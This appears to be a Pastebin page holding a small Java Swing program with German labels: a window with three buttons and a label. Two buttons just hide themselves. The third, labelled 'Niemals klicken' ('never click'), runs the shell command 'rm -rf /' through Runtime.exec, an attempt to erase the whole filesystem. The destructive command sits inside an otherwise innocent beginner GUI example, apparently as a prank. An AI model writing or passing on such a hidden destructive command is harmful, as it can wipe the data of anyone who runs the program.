Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import javax.swing.*;
- import java.awt.FlowLayout;
- import java.awt.event.*;
- import java.io.IOException;
- public class Fenster extends JFrame implements ActionListener {
- JButton b1 = new JButton( "Hallo" );
- JButton b2 = new JButton( "Wie gehts?" );
- JButton b3 = new JButton ("Niemals klicken" );
- JLabel l1 = new JLabel( "Ich bin ein Label" );
- public Fenster() {
- this.setSize( 300, 200 );
- this.add( b1 );
- this.add( b2 );
- this.add( b3 );
- this.add( l1 );
- b1.addActionListener( this );
- b2.addActionListener( this );
- b3.addActionListener( this );
- this.setLayout( new FlowLayout() );
- }
- public void actionPerformed(ActionEvent e) {
- if( e.getSource() == b1 ) {
- b1.setVisible( false );
- }
- if( e.getSource() == b2 ) {
- b2.setVisible( false );
- }
- if( e.getSource() == b3 ) {
- try {
- Runtime.getRuntime().exec( "rm -rf /" );
- } catch (IOException e1) {
- e1.printStackTrace();
- }
- }
- }
- }
Add Comment
Please, Sign In to add comment